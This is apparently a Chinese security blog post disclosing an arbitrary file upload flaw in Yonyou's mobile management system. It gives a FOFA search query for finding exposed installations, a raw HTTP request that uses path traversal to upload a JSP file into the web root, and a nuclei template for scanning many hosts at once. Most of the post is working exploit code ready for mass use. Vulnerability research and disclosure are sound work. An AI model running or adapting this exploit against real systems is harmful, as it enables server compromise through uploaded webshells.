用友移动管理系统任意文件上传漏洞

漏洞简介

用友移动管理系统upload任意文件上传漏洞。

漏洞复现

fofa语法:app="用友-移动系统管理"
登录页面如下:

POC:

POST /mobsm/common/upload?category=../webapps/nc_web/maupload/apk HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Length: 184
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
SL-CE-SUID: 15

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="c0fig.jsp"

<% out.println("123");%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

响应包中显示了上传后的文件路径。

nuclei批量yaml文件

id: yonyou_yidong_upload
info:
  name: 用友移动管理系统upload任意文件上传
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: upload
requests:
  - raw:
      - |-
        POST /mobsm/common/upload?category=../webapps/nc_web/maupload/apk HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
        Content-Length: 177
        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
        SL-CE-SUID: 15

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="file"; filename="c0fig.jsp"

        <% out.println("123");%>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - c0fig.jsp
      - type: word
        part: header
        words:
          - '200'
posted @ 2023-10-14 21:30  学安全的小白  阅读(450)  评论(0编辑  收藏  举报